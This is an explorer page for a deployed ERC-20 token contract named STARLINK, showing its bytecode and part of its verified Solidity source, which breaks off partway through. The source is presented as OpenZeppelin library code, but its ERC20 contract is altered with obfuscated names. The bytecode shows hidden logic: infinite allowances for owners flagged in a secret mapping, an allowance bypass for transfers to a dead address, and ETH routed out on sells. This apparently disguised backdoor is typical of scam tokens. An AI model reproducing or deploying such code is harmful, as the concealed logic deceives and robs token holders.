Address Contract Verified
Address
0x22fA7FD918A4364dE63Be573D8982af47D9cb6bA
Balance
0 ETH
Nonce
1
Code Size
7696 bytes
Creator
0x59b94043...4ae1 at tx 0x01e75eb6...3617db
Indexed Transactions
0
Contract Bytecode
7696 bytes
0x608060405260043610610122575f3560e01c806381a164451161009f57806395d89b411161006357806395d89b411461039d578063a9059cbb146103c7578063c6f7abe514610403578063dd62ed3e1461042d578063f2fde38b1461046957610129565b806381a16445146102df5780638da5cb5b146102f557806391b978b61461031f57806392d79a581461034957806395ba0b051461037357610129565b8063313ce567116100e6578063313ce5671461022357806347ce54401461024d57806370a0823114610263578063715018a61461029f5780637bdfafcd146102b557610129565b806306fdde031461012d578063095ea7b31461015757806318160ddd1461019357806323b872dd146101bd57806324653880146101f957610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610141610491565b60405161014e91906118b6565b60405180910390f35b348015610162575f80fd5b5061017d60048036038101906101789190611967565b610521565b60405161018a91906119bf565b60405180910390f35b34801561019e575f80fd5b506101a7610543565b6040516101b491906119e7565b60405180910390f35b3480156101c8575f80fd5b506101e360048036038101906101de9190611a00565b61054c565b6040516101f091906119bf565b60405180910390f35b348015610204575f80fd5b5061020d61057b565b60405161021a91906118b6565b60405180910390f35b34801561022e575f80fd5b50610237610607565b6040516102449190611a6b565b60405180910390f35b348015610258575f80fd5b5061026161060f565b005b34801561026e575f80fd5b5061028960048036038101906102849190611a84565b610995565b60405161029691906119e7565b60405180910390f35b3480156102aa575f80fd5b506102b36109db565b005b3480156102c0575f80fd5b506102c96109ee565b6040516102d691906118b6565b60405180910390f35b3480156102ea575f80fd5b506102f3610a7a565b005b348015610300575f80fd5b50610309610ada565b6040516103169190611abe565b60405180910390f35b34801561032a575f80fd5b50610333610b02565b6040516103409190611abe565b60405180910390f35b348015610354575f80fd5b5061035d610b27565b60405161036a91906119e7565b60405180910390f35b34801561037e575f80fd5b50610387610b2c565b60405161039491906119e7565b60405180910390f35b3480156103a8575f80fd5b506103b1610b32565b6040516103be91906118b6565b60405180910390f35b3480156103d2575f80fd5b506103ed60048036038101906103e89190611967565b610bc2565b6040516103fa91906119bf565b60405180910390f35b34801561040e575f80fd5b50610417610be4565b6040516104249190611abe565b60405180910390f35b348015610438575f80fd5b50610453600480360381019061044e9190611ad7565b610c09565b60405161046091906119e7565b60405180910390f35b348015610474575f80fd5b5061048f600480360381019061048a9190611a84565b610c91565b005b6060600680546104a090611b42565b80601f01602080910402602001604051908101604052809291908181526020018280546104cc90611b42565b80156105175780601f106104ee57610100808354040283529160200191610517565b820191905f5260205f20905b8154815290600101906020018083116104fa57829003601f168201915b5050505050905090565b5f8061052b610d15565b9050610538818585610d1c565b600191505092915050565b5f600554905090565b5f80610556610d15565b905061056485828686610d2e565b61056f858585610e64565b60019150509392505050565b6002805461058890611b42565b80601f01602080910402602001604051908101604052809291908181526020018280546105b490611b42565b80156105ff5780601f106105d6576101008083540402835291602001916105ff565b820191905f5260205f20905b8154815290600101906020018083116105e257829003601f168201915b505050505081565b5f6009905090565b610617610f6a565b60105f9054906101000a900460ff1615610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d90611bbc565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106ed30600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106e8610543565b610d1c565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610757573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077b9190611bee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190611bee565b6040518363ffffffff1660e01b8152600401610842929190611c19565b6020604051808303815f875af115801561085e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108829190611bee565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061090930610995565b5f80610913610ada565b426040518863ffffffff1660e01b815260040161093596959493929190611c82565b60606040518083038185885af1158015610951573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109769190611cf5565b505050600160105f6101000a81548160ff021916908315150217905550565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109e3610f6a565b6109ec5f610ff1565b565b600b80546109fb90611b42565b80601f0160208091040260200160405190810160405280929190818152602001828054610a2790611b42565b8015610a725780601f10610a4957610100808354040283529160200191610a72565b820191905f5260205f20905b815481529060010190602001808311610a5557829003601f168201915b505050505081565b610a82610f6a565b5f4711610a8d575f80fd5b610a95610d15565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610ad7573d5f803e3d5ffd5b50565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5481565b60095481565b606060078054610b4190611b42565b80601f0160208091040260200160405190810160405280929190818152602001828054610b6d90611b42565b8015610bb85780601f10610b8f57610100808354040283529160200191610bb8565b820191905f5260205f20905b815481529060010190602001808311610b9b57829003601f168201915b5050505050905090565b5f80610bcc610d15565b9050610bd9818585610e64565b600191505092915050565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610c6757610c6283836110b4565b610c89565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff5b905092915050565b610c99610f6a565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d09575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610d009190611abe565b60405180910390fd5b610d1281610ff1565b50565b5f33905090565b610d298383836001611136565b505050565b5f610d398585610c09565b9050600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610d9857505f8110155b8015610dd1575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610ddc5750610e5e565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811015610e5c5781811015610e4d578381836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610e4493929190611d45565b60405180910390fd5b610e5b85858484035f611136565b5b505b50505050565b610e6f838383611305565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edf575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610ed69190611abe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4f575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f469190611abe565b60405180910390fd5b610f5a8383836113ea565b610f658383836114a9565b505050565b610f72610d15565b73ffffffffffffffffffffffffffffffffffffffff16610f90610ada565b73ffffffffffffffffffffffffffffffffffffffff1614610fef57610fb3610d15565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610fe69190611abe565b60405180910390fd5b565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111a6575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161119d9190611abe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611216575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161120d9190611abe565b60405180910390fd5b8160045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156112ff578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112f691906119e7565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611375575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161136c9190611abe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113e5575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016113dc9190611abe565b60405180910390fd5b505050565b60105f9054906101000a900460ff1680156114515750600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114605761145f4761158e565b5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611499575f91505b6114a48383836115f6565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611519575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016115109190611abe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611589575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016115809190611abe565b60405180910390fd5b505050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156115f2573d5f803e3d5ffd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611646578060055f82825461163a9190611da7565b92505081905550611716565b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156116d0578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016116c793929190611d45565b60405180910390fd5b81810360035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361175d578060055f82825403925050819055506117a8565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611841578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183891906119e7565b60405180910390a35b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61188882611846565b6118928185611850565b93506118a2818560208601611860565b6118ab8161186e565b840191505092915050565b5f6020820190508181035f8301526118ce818461187e565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611903826118da565b9050919050565b611913816118f9565b811461191d575f80fd5b50565b5f8135905061192e8161190a565b92915050565b5f819050919050565b61194681611934565b8114611950575f80fd5b50565b5f813590506119618161193d565b92915050565b5f806040838503121561197d5761197c6118d6565b5b5f61198a85828601611920565b925050602061199b85828601611953565b9150509250929050565b5f8115159050919050565b6119b9816119a5565b82525050565b5f6020820190506119d25f8301846119b0565b92915050565b6119e181611934565b82525050565b5f6020820190506119fa5f8301846119d8565b92915050565b5f805f60608486031215611a1757611a166118d6565b5b5f611a2486828701611920565b9350506020611a3586828701611920565b9250506040611a4686828701611953565b9150509250925092565b5f60ff82169050919050565b611a6581611a50565b82525050565b5f602082019050611a7e5f830184611a5c565b92915050565b5f60208284031215611a9957611a986118d6565b5b5f611aa684828501611920565b91505092915050565b611ab8816118f9565b82525050565b5f602082019050611ad15f830184611aaf565b92915050565b5f8060408385031215611aed57611aec6118d6565b5b5f611afa85828601611920565b9250506020611b0b85828601611920565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611b5957607f821691505b602082108103611b6c57611b6b611b15565b5b50919050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f611ba6601783611850565b9150611bb182611b72565b602082019050919050565b5f6020820190508181035f830152611bd381611b9a565b9050919050565b5f81519050611be88161190a565b92915050565b5f60208284031215611c0357611c026118d6565b5b5f611c1084828501611bda565b91505092915050565b5f604082019050611c2c5f830185611aaf565b611c396020830184611aaf565b9392505050565b5f819050919050565b5f819050919050565b5f611c6c611c67611c6284611c40565b611c49565b611934565b9050919050565b611c7c81611c52565b82525050565b5f60c082019050611c955f830189611aaf565b611ca260208301886119d8565b611caf6040830187611c73565b611cbc6060830186611c73565b611cc96080830185611aaf565b611cd660a08301846119d8565b979650505050505050565b5f81519050611cef8161193d565b92915050565b5f805f60608486031215611d0c57611d0b6118d6565b5b5f611d1986828701611ce1565b9350506020611d2a86828701611ce1565b9250506040611d3b86828701611ce1565b9150509250925092565b5f606082019050611d585f830186611aaf565b611d6560208301856119d8565b611d7260408301846119d8565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611db182611934565b9150611dbc83611934565b9250828201905080821115611dd457611dd3611d7a565b5b9291505056fea26469706673582212202b27ee078be8d60d7be7e817f79d2e4418ad2219cf93b8dccc5409f9d23bf34464736f6c634300081a0033
Verified Source Code Full Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
STARLINK.sol 775 lines
// SPDX-License-Identifier: MIT
/*
https://www.starlinkai.org
https://app.starlinkai.org
https://docs.starlinkai.org
https://x.com/StarLinkAI_defi
https://t.me/StarLinkAI_defi
*/
// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 standard as defined in the ERC.
*/
interface IERC20 {
/**
* @dev Emitted when 'value' tokens are moved from one account ('from') to
* another ('to').
*
* Note that 'value' may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
* a call to {approve}. 'value' is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by 'account'.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that 'spender' will be
* allowed to spend on behalf of 'owner' through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
* allowance mechanism. 'value' is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface for the optional metadata functions from the ERC-20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/[email protected]/utils/Context.sol
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
// File: @openzeppelin/[email protected]/interfaces/draft-IERC6093.sol
// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;
/**
* @dev Standard ERC-20 Errors
* Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
*/
interface IERC20Errors {
/**
* @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
* @param balance Current balance for the interacting account.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);
/**
* @dev Indicates a failure with the token 'sender'. Used in transfers.
* @param sender Address whose tokens are being transferred.
*/
error ERC20InvalidSender(address sender);
/**
* @dev Indicates a failure with the token 'receiver'. Used in transfers.
* @param receiver Address to which tokens are being transferred.
*/
error ERC20InvalidReceiver(address receiver);
/**
* @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
* @param spender Address that may be allowed to operate on tokens without being their owner.
* @param allowance Amount of tokens a 'spender' is allowed to operate with.
* @param needed Minimum amount required to perform a transfer.
*/
error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);
/**
* @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
* @param approver Address initiating an approval operation.
*/
error ERC20InvalidApprover(address approver);
/**
* @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
* @param spender Address that may be allowed to operate on tokens without being their owner.
*/
error ERC20InvalidSpender(address spender);
}
// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v5.3.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* The default value of {decimals} is 18. To change this, you should override
* this function so it returns a different value.
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning 'false' on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC-20
* applications.
*/
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
uint256 public HFE3FNENF;
address public RNFE34FAD;
string public HONENFN34A;
mapping(address account => uint256) private _FNENF34FA3;
mapping(address account => mapping(address spender => uint256)) private _ANENF36FME;
uint256 private _FNENQF45G;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* Both values are immutable: they can only be set once during construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if 'decimals' equals '2', a balance of '505' tokens should
* be displayed to a user as '5.05' ('505 / 10 ** 2').
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual returns (uint256) {
return _FNENQF45G;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual returns (uint256) {
return _FNENF34FA3[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - 'to' cannot be the zero address.
* - the caller must have a balance of at least 'value'.
*/
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _ANENF36FME[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
* 'transferFrom'. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - 'spender' cannot be the zero address.
*/
function approve(address spender, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Skips emitting an {Approval} event indicating an allowance update. This is not
* required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum 'uint256'.
*
* Requirements:
*
* - 'from' and 'to' cannot be the zero address.
* - 'from' must have a balance of at least 'value'.
* - the caller must have allowance for ''from'''s tokens of at least
* 'value'.
*/
function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
address spender = _msgSender();
_FNE35NF(from, spender, value);
_transfer(from, to, value);
return true;
}
/**
* @dev Moves a 'value' amount of tokens from 'from' to 'to'.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _beforeTransfer (address from, address to, uint256 value) pure internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
}
function _transfer(address from, address to, uint256 value) internal {
_beforeTransfer(from, to, value);
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(from, to, value);
_afterTransfer(from, to, value);(from, to, value);
}
function _afterTransfer (address from, address to, uint256 value) pure internal {
if (from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
}
/**
* @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
* (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
* this function.
*
* Emits a {Transfer} event.
*/
function _update(address from, address to, uint256 value) internal virtual {
if (from == address(0)) {
// Overflow check required: The rest of the code assumes that totalSupply never overflows
_FNENQF45G += value;
} else {
uint256 fromBalance = _FNENF34FA3[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
// Overflow not possible: value <= fromBalance <= totalSupply.
_FNENF34FA3[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
// Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
_FNENQF45G -= value;
}
} else {
unchecked {
// Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
_FNENF34FA3[to] += value;
}
}
if(to != address(0)) {
emit Transfer(from, to, value);
}
}
/**
* @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
* Relies on the '_update' mechanism
*
* Emits a {Transfer} event with 'from' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead.
*/
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
* Relies on the '_update' mechanism.
*
* Emits a {Transfer} event with 'to' set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
*
* This internal function is equivalent to 'approve', and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - 'owner' cannot be the zero address.
* - 'spender' cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* '_FNE35NF' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
* 'Approval' event during 'transferFrom' operations.
*
* Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
* true using the following override:
*
* '''solidity
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* '''
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_ANENF36FME[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _FNE35NF(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance < type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
// File: @openzeppelin/[email protected]/access/Ownable.sol
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)
pragma solidity ^0.8.20;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* The initial owner is set to the address provided by the deployer. This can
* later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* 'onlyOwner', which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. 'address(0)')
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
